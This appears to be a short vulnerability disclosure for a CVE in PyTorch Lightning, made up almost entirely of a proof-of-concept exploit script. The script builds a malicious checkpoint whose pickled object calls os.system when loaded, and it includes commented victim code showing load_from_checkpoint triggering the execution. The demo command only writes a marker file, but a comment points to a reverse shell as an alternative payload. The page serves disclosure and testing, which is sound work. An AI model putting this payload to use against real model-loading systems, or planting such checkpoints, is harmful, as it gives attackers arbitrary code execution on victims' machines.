CVE-2026-31221 PyTorch-Lightning 代码执行漏洞

import os import torch # Define a malicious class to execute arbitrary code class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file or reverse shell) # In a real scenario, this could be a more sophisticated payload return (os.system, ('echo PWNED > /tmp/poc.txt',)) # Create a valid PyTorch Lightning checkpoint structure # containing the malicious object payload = MaliciousPayload() checkpoint_data = { 'state_dict': {'model': payload}, # Injecting payload into state dict 'epoch': 1, 'global_step': 100 } # Save the crafted checkpoint file print("[*] Generating malicious checkpoint file...") torch.save(checkpoint_data, "malicious_checkpoint.ckpt") print("[+] Malicious checkpoint created: malicious_checkpoint.ckpt") # --- VICTIM SIDE (Vulnerable Code) --- # The following code demonstrates the vulnerability: # # import pytorch_lightning as pl # # class DummyModel(pl.LightningModule): # def __init__(self): # super().__init__() # # # Loading the malicious file triggers the exploit # # This calls torch.load internally without weights_only=True # model = DummyModel.load_from_checkpoint("malicious_checkpoint.ckpt") # # Result: The command 'echo PWNED > /tmp/poc.txt' will be executed.